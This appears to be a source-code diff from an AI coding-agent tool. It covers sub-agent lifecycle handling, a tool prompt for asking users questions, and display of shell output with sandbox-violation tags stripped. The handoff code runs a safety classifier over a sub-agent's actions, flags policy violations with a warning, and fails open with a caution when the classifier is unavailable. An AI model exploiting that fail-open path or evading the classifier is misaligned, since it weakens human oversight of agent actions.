+        ],
+      },
+      tools,
+      toolPermissionContext as ToolPermissionContext,
+      abortSignal,
+    )
+
+    const handoffDecision = classifierResult.unavailable
+      ? 'unavailable'
+      : classifierResult.shouldBlock
+        ? 'blocked'
+        : 'allowed'
+    logEvent('tengu_auto_mode_decision', {
+      decision:
+        handoffDecision as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      toolName:
+        // Use legacy name for analytics continuity across the Task→Agent rename
+        LEGACY_AGENT_TOOL_NAME as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      inProtectedNamespace: isInProtectedNamespace(),
+      classifierModel:
+        classifierResult.model as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      agentType:
+        subagentType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      toolUseCount: totalToolUseCount,
+      isHandoff: true,
+      // For handoff, the relevant agent completion is the subagent's final
+      // assistant message — the last thing the classifier transcript shows
+      // before the handoff review prompt.
+      agentMsgId: getLastAssistantMessage(agentMessages)?.message
+        .id as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      classifierStage:
+        classifierResult.stage as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      classifierStage1RequestId:
+        classifierResult.stage1RequestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      classifierStage1MsgId:
+        classifierResult.stage1MsgId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      classifierStage2RequestId:
+        classifierResult.stage2RequestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      classifierStage2MsgId:
+        classifierResult.stage2MsgId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    })
+
+    if (classifierResult.shouldBlock) {
+      // When classifier is unavailable, still propagate the sub-agent's
+      // results but with a warning so the parent agent can verify the work.
+      if (classifierResult.unavailable) {
+        logForDebugging(
+          'Handoff classifier unavailable, allowing sub-agent output with warning',
+          { level: 'warn' },
+        )
+        return `Note: The safety classifier was unavailable when reviewing this sub-agent's work. Please carefully verify the sub-agent's actions and output before acting on them.`
+      }
+
+      logForDebugging(
+        `Handoff classifier flagged sub-agent output: ${classifierResult.reason}`,
+        { level: 'warn' },
+      )
+      return `SECURITY WARNING: This sub-agent performed actions that may violate security policy. Reason: ${classifierResult.reason}. Review the sub-agent's actions carefully before acting on its output.`
+    }
+  }
+
+  return null
+}
+
+/**
+ * Extract a partial result string from an agent's accumulated messages.
+ * Used when an async agent is killed to preserve what it accomplished.
+ * Returns undefined if no text content is found.
+ */
+export function extractPartialResult(
+  messages: MessageType[],
+): string | undefined {
+  for (let i = messages.length - 1; i >= 0; i--) {
+    const m = messages[i]!
+    if (m.type !== 'assistant') continue
+    const text = extractTextContent(m.message.content, '\n')
+    if (text) {
+      return text
+    }
+  }
+  return undefined
+}
+
+type SetAppState = (f: (prev: AppState) => AppState) => void
+
+/**
+ * Drives a background agent from spawn to terminal notification.
+ * Shared between AgentTool's async-from-start path and resumeAgentBackground.
+ */
+export async function runAsyncAgentLifecycle({
+  taskId,
+  abortController,
+  makeStream,
+  metadata,
+  description,
+  toolUseContext,
+  rootSetAppState,
+  agentIdForCleanup,
+  enableSummarization,
+  getWorktreeResult,
+}: {
+  taskId: string
+  abortController: AbortController
+  makeStream: (
+    onCacheSafeParams: ((p: CacheSafeParams) => void) | undefined,
+  ) => AsyncGenerator<MessageType, void>
+  metadata: Parameters<typeof finalizeAgentTool>[2]
+  description: string
+  toolUseContext: ToolUseContext
+  rootSetAppState: SetAppState
+  agentIdForCleanup: string
+  enableSummarization: boolean
+  getWorktreeResult: () => Promise<{
+    worktreePath?: string
+    worktreeBranch?: string
+  }>
+}): Promise<void> {
+  let stopSummarization: (() => void) | undefined
+  const agentMessages: MessageType[] = []
+  try {
+    const tracker = createProgressTracker()
+    const resolveActivity = createActivityDescriptionResolver(
+      toolUseContext.options.tools,
+    )
+    const onCacheSafeParams = enableSummarization
+      ? (params: CacheSafeParams) => {
+          const { stop } = startAgentSummarization(
+            taskId,
+            asAgentId(taskId),
+            params,
+            rootSetAppState,
+          )
+          stopSummarization = stop
+        }
+      : undefined
+    for await (const message of makeStream(onCacheSafeParams)) {
+      agentMessages.push(message)
+      // Append immediately when UI holds the task (retain). Bootstrap reads
+      // disk in parallel and UUID-merges the prefix — disk-write-before-yield
+      // means live is always a suffix of disk, so merge is order-correct.
+      rootSetAppState(prev => {
+        const t = prev.tasks[taskId]
+        if (!isLocalAgentTask(t) || !t.retain) return prev
+        const base = t.messages ?? []
+        return {
+          ...prev,
+          tasks: {
+            ...prev.tasks,
+            [taskId]: { ...t, messages: [...base, message] },
+          },
+        }
+      })
+      updateProgressFromMessage(
+        tracker,
+        message,
+        resolveActivity,
+        toolUseContext.options.tools,
+      )
+      updateAsyncAgentProgress(
+        taskId,
+        getProgressUpdate(tracker),
+        rootSetAppState,
+      )
+      const lastToolName = getLastToolUseName(message)
+      if (lastToolName) {
+        emitTaskProgress(
+          tracker,
+          taskId,
+          toolUseContext.toolUseId,
+          description,
+          metadata.startTime,
+          lastToolName,
+        )
+      }
+    }
+
+    stopSummarization?.()
+
+    const agentResult = finalizeAgentTool(agentMessages, taskId, metadata)
+
+    // Mark task completed FIRST so TaskOutput(block=true) unblocks
+    // immediately. classifyHandoffIfNeeded (API call) and getWorktreeResult
+    // (git exec) are notification embellishments that can hang — they must
+    // not gate the status transition (gh-20236).
+    completeAsyncAgent(agentResult, rootSetAppState)
+
+    let finalMessage = extractTextContent(agentResult.content, '\n')
+
+    if (feature('TRANSCRIPT_CLASSIFIER')) {
+      const handoffWarning = await classifyHandoffIfNeeded({
+        agentMessages,
+        tools: toolUseContext.options.tools,
+        toolPermissionContext:
+          toolUseContext.getAppState().toolPermissionContext,
+        abortSignal: abortController.signal,
+        subagentType: metadata.agentType,
+        totalToolUseCount: agentResult.totalToolUseCount,
+      })
+      if (handoffWarning) {
+        finalMessage = `${handoffWarning}\n\n${finalMessage}`
+      }
+    }
+
+    const worktreeResult = await getWorktreeResult()
+
+    enqueueAgentNotification({
+      taskId,
+      description,
+      status: 'completed',
+      setAppState: rootSetAppState,
+      finalMessage,
+      usage: {
+        totalTokens: getTokenCountFromTracker(tracker),
+        toolUses: agentResult.totalToolUseCount,
+        durationMs: agentResult.totalDurationMs,
+      },
+      toolUseId: toolUseContext.toolUseId,
+      ...worktreeResult,
+    })
+  } catch (error) {
+    stopSummarization?.()
+    if (error instanceof AbortError) {
+      // killAsyncAgent is a no-op if TaskStop already set status='killed' —
+      // but only this catch handler has agentMessages, so the notification
+      // must fire unconditionally. Transition status BEFORE worktree cleanup
+      // so TaskOutput unblocks even if git hangs (gh-20236).
+      killAsyncAgent(taskId, rootSetAppState)
+      logEvent('tengu_agent_tool_terminated', {
+        agent_type:
+          metadata.agentType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        model:
+          metadata.resolvedAgentModel as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        duration_ms: Date.now() - metadata.startTime,
+        is_async: true,
+        is_built_in_agent: metadata.isBuiltInAgent,
+        reason:
+          'user_kill_async' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      })
+      const worktreeResult = await getWorktreeResult()
+      const partialResult = extractPartialResult(agentMessages)
+      enqueueAgentNotification({
+        taskId,
+        description,
+        status: 'killed',
+        setAppState: rootSetAppState,
+        toolUseId: toolUseContext.toolUseId,
+        finalMessage: partialResult,
+        ...worktreeResult,
+      })
+      return
+    }
+    const msg = errorMessage(error)
+    failAsyncAgent(taskId, msg, rootSetAppState)
+    const worktreeResult = await getWorktreeResult()
+    enqueueAgentNotification({
+      taskId,
+      description,
+      status: 'failed',
+      error: msg,
+      setAppState: rootSetAppState,
+      toolUseId: toolUseContext.toolUseId,
+      ...worktreeResult,
+    })
+  } finally {
+    clearInvokedSkillsForAgent(agentIdForCleanup)
+    clearDumpState(agentIdForCleanup)
+  }
+}

src/tools/AskUserQuestionTool/prompt.ts

@@ -0,0 +1,44 @@
+import { EXIT_PLAN_MODE_TOOL_NAME } from '../ExitPlanModeTool/constants.js'
+
+export const ASK_USER_QUESTION_TOOL_NAME = 'AskUserQuestion'
+
+export const ASK_USER_QUESTION_TOOL_CHIP_WIDTH = 12
+
+export const DESCRIPTION =
+  'Asks the user multiple choice questions to gather information, clarify ambiguity, understand preferences, make decisions or offer them choices.'
+
+export const PREVIEW_FEATURE_PROMPT = {
+  markdown: `
+Preview feature:
+Use the optional \`preview\` field on options when presenting concrete artifacts that users need to visually compare:
+- ASCII mockups of UI layouts or components
+- Code snippets showing different implementations
+- Diagram variations
+- Configuration examples
+
+Preview content is rendered as markdown in a monospace box. Multi-line text with newlines is supported. When any option has a preview, the UI switches to a side-by-side layout with a vertical option list on the left and preview on the right. Do not use previews for simple preference questions where labels and descriptions suffice. Note: previews are only supported for single-select questions (not multiSelect).
+`,
+  html: `
+Preview feature:
+Use the optional \`preview\` field on options when presenting concrete artifacts that users need to visually compare:
+- HTML mockups of UI layouts or components
+- Formatted code snippets showing different implementations
+- Visual comparisons or diagrams
+
+Preview content must be a self-contained HTML fragment (no <html>/<body> wrapper, no <script> or <style> tags — use inline style attributes instead). Do not use previews for simple preference questions where labels and descriptions suffice. Note: previews are only supported for single-select questions (not multiSelect).
+`,
+} as const
+
+export const ASK_USER_QUESTION_TOOL_PROMPT = `Use this tool when you need to ask the user questions during execution. This allows you to:
+1. Gather user preferences or requirements
+2. Clarify ambiguous instructions
+3. Get decisions on implementation choices as you work
+4. Offer choices to the user about what direction to take.
+
+Usage notes:
+- Users will always be able to select "Other" to provide custom text input
+- Use multiSelect: true to allow multiple answers to be selected for a question
+- If you recommend a specific option, make that the first option in the list and add "(Recommended)" at the end of the label
+
+Plan mode note: In plan mode, use this tool to clarify requirements or choose between approaches BEFORE finalizing your plan. Do NOT use this tool to ask "Is my plan ready?" or "Should I proceed?" - use ${EXIT_PLAN_MODE_TOOL_NAME} for plan approval. IMPORTANT: Do not reference "the plan" in your questions (e.g., "Do you have feedback about the plan?", "Does the plan look good?") because the user cannot see the plan in the UI until you call ${EXIT_PLAN_MODE_TOOL_NAME}. If you need plan approval, use ${EXIT_PLAN_MODE_TOOL_NAME} instead.
+`

src/tools/BashTool/BashToolResultMessage.tsx

@@ -0,0 +1,191 @@
+import { c as _c } from "react/compiler-runtime";
+import React from 'react';
+import { removeSandboxViolationTags } from 'src/utils/sandbox/sandbox-ui-utils.js';
+import { KeyboardShortcutHint } from '../../components/design-system/KeyboardShortcutHint.js';
+import { MessageResponse } from '../../components/MessageResponse.js';
+import { OutputLine } from '../../components/shell/OutputLine.js';
+import { ShellTimeDisplay } from '../../components/shell/ShellTimeDisplay.js';
+import { Box, Text } from '../../ink.js';
+import type { Out as BashOut } from './BashTool.js';
+type Props = {
+  content: Omit<BashOut, 'interrupted'>;
+  verbose: boolean;
+  timeoutMs?: number;
+};
+
+// Pattern to match "Shell cwd was reset to <path>" message
+// Use (?:^|\n) to match either start of string or after a newline
+const SHELL_CWD_RESET_PATTERN = /(?:^|\n)(Shell cwd was reset to .+)$/;
+
+/**
+ * Extracts sandbox violations from stderr if present
+ * Returns both the cleaned stderr and the violations content
+ */
+function extractSandboxViolations(stderr: string): {
+  cleanedStderr: string;
+} {
+  const violationsMatch = stderr.match(/<sandbox_violations>([\s\S]*?)<\/sandbox_violations>/);
+  if (!violationsMatch) {
+    return {
+      cleanedStderr: stderr
+    };
+  }
+
+  // Remove the sandbox violations section from stderr
+  const cleanedStderr = removeSandboxViolationTags(stderr).trim();
+  return {
+    cleanedStderr
+  };
+}
+
+/**
+ * Extracts the "Shell cwd was reset" warning message from stderr
+ * Returns the cleaned stderr and the warning message separately
+ */
+function extractCwdResetWarning(stderr: string): {
+  cleanedStderr: string;
+  cwdResetWarning: string | null;
+} {
+  const match = stderr.match(SHELL_CWD_RESET_PATTERN);
+  if (!match) {
+    return {
+      cleanedStderr: stderr,
+      cwdResetWarning: null
+    };
+  }
+
+  // Extract the warning message from capture group 1
+  const cwdResetWarning = match[1] ?? null;
+  // Remove the warning from stderr (replace the full match)
+  const cleanedStderr = stderr.replace(SHELL_CWD_RESET_PATTERN, '').trim();
+  return {
+    cleanedStderr,
+    cwdResetWarning
+  };
+}
+export default function BashToolResultMessage(t0) {
+  const $ = _c(34);
+  const {
+    content: t1,
+    verbose,
+    timeoutMs
+  } = t0;
+  const {
+    stdout: t2,
+    stderr: t3,
+    isImage,
+    returnCodeInterpretation,
+    noOutputExpected,
+    backgroundTaskId
+  } = t1;
+  const stdout = t2 === undefined ? "" : t2;
+  const stdErrWithViolations = t3 === undefined ? "" : t3;
+  let T0;
+  let cwdResetWarning;
+  let stderr;
+  let t4;
+  let t5;
+  let t6;
+  let t7;
+  if ($[0] !== isImage || $[1] !== stdErrWithViolations || $[2] !== stdout || $[3] !== verbose) {
+    t7 = Symbol.for("react.early_return_sentinel");
+    bb0: {
+      const {
+        cleanedStderr: stderrWithoutViolations
+      } = extractSandboxViolations(stdErrWithViolations);
+      ({
+        cleanedStderr: stderr,
+        cwdResetWarning
+      } = extractCwdResetWarning(stderrWithoutViolations));
+      if (isImage) {
+        let t8;
+        if ($[11] === Symbol.for("react.memo_cache_sentinel")) {
+          t8 = <MessageResponse height={1}><Text dimColor={true}>[Image data detected and sent to Claude]</Text></MessageResponse>;
+          $[11] = t8;
+        } else {
+          t8 = $[11];
+        }
+        t7 = t8;
+        break bb0;
+      }
+      T0 = Box;
+      t4 = "column";
+      if ($[12] !== stdout || $[13] !== verbose) {
+        t5 = stdout !== "" ? <OutputLine content={stdout} verbose={verbose} /> : null;
+        $[12] = stdout;
+        $[13] = verbose;
+        $[14] = t5;
+      } else {
+        t5 = $[14];
+      }
+      t6 = stderr.trim() !== "" ? <OutputLine content={stderr} verbose={verbose} isError={true} /> : null;
+    }
+    $[0] = isImage;
+    $[1] = stdErrWithViolations;
+    $[2] = stdout;
+    $[3] = verbose;
+    $[4] = T0;
+    $[5] = cwdResetWarning;
+    $[6] = stderr;
+    $[7] = t4;
+    $[8] = t5;
+    $[9] = t6;
+    $[10] = t7;
+  } else {
+    T0 = $[4];
+    cwdResetWarning = $[5];
+    stderr = $[6];
+    t4 = $[7];
+    t5 = $[8];
+    t6 = $[9];
+    t7 = $[10];
+  }
+  if (t7 !== Symbol.for("react.early_return_sentinel")) {
+    return t7;
+  }
+  let t8;
+  if ($[15] !== cwdResetWarning) {
+    t8 = cwdResetWarning ? <MessageResponse><Text dimColor={true}>{cwdResetWarning}</Text></MessageResponse> : null;
+    $[15] = cwdResetWarning;
+    $[16] = t8;
+  } else {
+    t8 = $[16];
+  }
+  let t9;
+  if ($[17] !== backgroundTaskId || $[18] !== cwdResetWarning || $[19] !== noOutputExpected || $[20] !== returnCodeInterpretation || $[21] !== stderr || $[22] !== stdout) {
+    t9 = stdout === "" && stderr.trim() === "" && !cwdResetWarning ? <MessageResponse height={1}><Text dimColor={true}>{backgroundTaskId ? <>Running in the background{" "}<KeyboardShortcutHint shortcut={"\u2193"} action="manage" parens={true} /></> : returnCodeInterpretation || (noOutputExpected ? "Done" : "(No output)")}</Text></MessageResponse> : null;
+    $[17] = backgroundTaskId;
+    $[18] = cwdResetWarning;
+    $[19] = noOutputExpected;
+    $[20] = returnCodeInterpretation;
+    $[21] = stderr;
+    $[22] = stdout;
+    $[23] = t9;
+  } else {
+    t9 = $[23];
+  }
+  let t10;
+  if ($[24] !== timeoutMs) {
+    t10 = timeoutMs && <MessageResponse><ShellTimeDisplay timeoutMs={timeoutMs} /></MessageResponse>;
+    $[24] = timeoutMs;
+    $[25] = t10;
+  } else {
+    t10 = $[25];
+  }
+  let t11;
+  if ($[26] !== T0 || $[27] !== t10 || $[28] !== t4 || $[29] !== t5 || $[30] !== t6 || $[31] !== t8 || $[32] !== t9) {
+    t11 = <T0 flexDirection={t4}>{t5}{t6}{t8}{t9}{t10}</T0>;
+    $[26] = T0;
+    $[27] = t10;
+    $[28] = t4;
+    $[29] = t5;
+    $[30] = t6;
+    $[31] = t8;
+    $[32] = t9;
+    $[33] = t11;
+  } else {
+    t11 = $[33];
+  }
+  return t11;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,{"version":3,"names":["React","removeSandboxViolationTags","KeyboardShortcutHint","MessageResponse","OutputLine","ShellTimeDisplay","Box","Text","Out","BashOut","Props","content","Omit","verbose","timeoutMs","SHELL_CWD_RESET_PATTERN","extractSandboxViolations","stderr","cleanedStderr","violationsMatch","match","trim","extractCwdResetWarning","cwdResetWarning","replace","BashToolResultMessage","t0","$","_c","t1","stdout","t2","t3","isImage","returnCodeInterpretation","noOutputExpected","backgroundTaskId","undefined","stdErrWithViolations","T0","t4","t5","t6","t7","Symbol","for","bb0","stderrWithoutViolations","t8","t9","t10","t11"],"sources":["BashToolResultMessage.tsx"],"sourcesContent":["import React from 'react'\nimport { removeSandboxViolationTags } from 'src/utils/sandbox/sandbox-ui-utils.js'\nimport { KeyboardShortcutHint } from '../../components/design-system/KeyboardShortcutHint.js'\nimport { MessageResponse } from '../../components/MessageResponse.js'\nimport { OutputLine } from '../../components/shell/OutputLine.js'\nimport { ShellTimeDisplay } from '../../components/shell/ShellTimeDisplay.js'\nimport { Box, Text } from '../../ink.js'\nimport type { Out as BashOut } from './BashTool.js'\n\ntype Props = {\n  content: Omit<BashOut, 'interrupted'>\n  verbose: boolean\n  timeoutMs?: number\n}\n\n// Pattern to match \"Shell cwd was reset to <path>\" message\n// Use (?:^|\\n) to match either start of string or after a newline\nconst SHELL_CWD_RESET_PATTERN = /(?:^|\\n)(Shell cwd was reset to .+)$/\n\n/**\n * Extracts sandbox violations from stderr if present\n * Returns both the cleaned stderr and the violations content\n */\nfunction extractSandboxViolations(stderr: string): {\n  cleanedStderr: string\n} {\n  const violationsMatch = stderr.match(\n    /<sandbox_violations>([\\s\\S]*?)<\\/sandbox_violations>/,\n  )\n\n  if (!violationsMatch) {\n    return { cleanedStderr: stderr }\n  }\n\n  // Remove the sandbox violations section from stderr\n  const cleanedStderr = removeSandboxViolationTags(stderr).trim()\n\n  return {\n    cleanedStderr,\n  }\n}\n\n/**\n * Extracts the \"Shell cwd was reset\" warning message from stderr\n * Returns the cleaned stderr and the warning message separately\n */\nfunction extractCwdResetWarning(stderr: string): {\n  cleanedStderr: string\n  cwdResetWarning: string | null\n} {\n  const match = stderr.match(SHELL_CWD_RESET_PATTERN)\n  if (!match) {\n    return { cleanedStderr: stderr, cwdResetWarning: null }\n  }\n\n  // Extract the warning message from capture group 1\n  const cwdResetWarning = match[1] ?? null\n  // Remove the warning from stderr (replace the full match)\n  const cleanedStderr = stderr.replace(SHELL_CWD_RESET_PATTERN, '').trim()\n\n  return { cleanedStderr, cwdResetWarning }\n}\n\nexport default function BashToolResultMessage({\n  content: {\n    stdout = '',\n    stderr: stdErrWithViolations = '',\n    isImage,\n    returnCodeInterpretation,\n    noOutputExpected,\n    backgroundTaskId,\n  },\n  verbose,\n  timeoutMs,\n}: Props): React.ReactNode {\n  // Extract sandbox violations from stderr as it feels cleaner on the UI\n  // We want the model to see the violations, so it can explain what went wrong, and the\n  // user can access them in the violation logs\n  const { cleanedStderr: stderrWithoutViolations } =\n    extractSandboxViolations(stdErrWithViolations)\n\n  // Extract \"Shell cwd was reset\" warning to render it with warning color instead of error\n  const { cleanedStderr: stderr, cwdResetWarning } = extractCwdResetWarning(\n    stderrWithoutViolations,\n  )\n\n  // If this is an image, we don't want to truncate it in the UI\n  if (isImage) {\n    return (\n      <MessageResponse height={1}>\n        <Text dimColor>[Image data detected and sent to Claude]</Text>\n      </MessageResponse>\n    )\n  }\n\n  return (\n    <Box flexDirection=\"column\">\n      {stdout !== '' ? <OutputLine content={stdout} verbose={verbose} /> : null}\n      {stderr.trim() !== '' ? (\n        <OutputLine content={stderr} verbose={verbose} isError />\n      ) : null}\n      {cwdResetWarning ? (\n        <MessageResponse>\n          <Text dimColor>{cwdResetWarning}</Text>\n        </MessageResponse>\n      ) : null}\n      {stdout === '' && stderr.trim() === '' && !cwdResetWarning ? (\n        <MessageResponse height={1}>\n          <Text dimColor>\n            {backgroundTaskId ? (\n              <>\n                Running in the background{' '}\n                <KeyboardShortcutHint shortcut=\"↓\" action=\"manage\" parens />\n              </>\n            ) : (\n              returnCodeInterpretation ||\n              (noOutputExpected ? 'Done' : '(No output)')\n            )}\n          </Text>\n        </MessageResponse>\n      ) : null}\n      {timeoutMs && (\n        <MessageResponse>\n          <ShellTimeDisplay timeoutMs={timeoutMs} />\n        </MessageResponse>\n      )}\n    </Box>\n  )\n}\n"],"mappings":"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